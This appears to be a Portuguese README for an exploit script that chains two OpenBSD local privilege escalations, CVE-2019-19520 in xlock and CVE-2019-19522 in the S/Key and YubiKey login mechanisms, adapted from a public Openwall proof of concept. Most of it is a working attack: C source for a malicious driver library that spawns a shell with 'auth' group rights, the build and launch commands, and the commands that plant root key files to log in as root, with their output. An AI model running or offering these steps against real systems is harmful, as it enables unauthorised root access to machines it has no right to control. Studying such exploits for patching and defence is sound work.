
Script que automatiza o processo de elevação de privilégios em sistema OpenBSD (CVE-2019-19520) explorando o binário xlock e obtendo seu sgid e elevando para o usuário root por meio de (CVE-2019-19522) explorando os privilégios do grupo auth e adicionando chaves ao Skey ou Yubikey
Um script que automatiza o processo de escalada de privilégios em sistemas OpenBSD (CVE-2019-19520), explorando o binário xlock e obtendo seu sgid, e escalando para o usuário root por meio do (CVE-2019-19522), explorando os privilégios do grupo auth e adicionando chaves ao S/Key ou YubiKey.
O código C é praticamente uma cópia do PoC original de: https://www.openwall.com/lists/oss-security/2019/12/04/5
No OpenBSD, /usr/X11R6/bin/xlock é instalado por padrão e tem set-group-ID "auth", não set-user-ID; portanto, a verificação a seguir está incompleta e deveria usar issetugid() em vez disso:
101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
Um atacante local pode explorar essa vulnerabilidade e usar dlopen() em seu próprio driver para obter os privilégios do grupo "auth":
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>
static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
} EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
Agora que obtivemos os privilégios do grupo auth, podemos explorar esses privilégios adicionando nossas próprias chaves de root ao S/Key ou YubiKey.
Se o tipo de autenticação S/Key ou YubiKey estiver habilitado (ambos são instalados por padrão, mas desabilitados), um atacante local pode explorar os privilégios do grupo "auth" para obter todos os privilégios do usuário "root" (porque login_skey e login_yubikey não verificam se os arquivos em /etc/skey e /var/db/yubikey pertencem ao usuário correto, e esses diretórios são graváveis pelo grupo "auth").
(Nota: para obter os privilégios do grupo "auth", um atacante local pode primeiro explorar o CVE-2019-19520 no xlock.)
Se o S/Key estiver habilitado (via skeyinit -E), um atacante local com privilégios de "auth" pode adicionar uma entrada S/Key (um arquivo em /etc/skey) para o usuário "root" (se esse arquivo já existir, o atacante não pode simplesmente removê-lo ou renomeá-lo, porque /etc/skey é sticky; existe uma solução simples, que fica como exercício para o leitor interessado):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN
#id uid=0(root) gid=0(wheel) ...
Se o YubiKey estiver habilitado (via login.conf), um atacante local com privilégios de "auth" pode adicionar uma entrada YubiKey (dois arquivos em /var/db/yubikey) para o usuário "root" (se esses arquivos já existirem, o atacante pode simplesmente removê-los ou renomeá-los, porque /var/db/yubikey não é sticky):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul
#id uid=0(root) gid=0(wheel) ...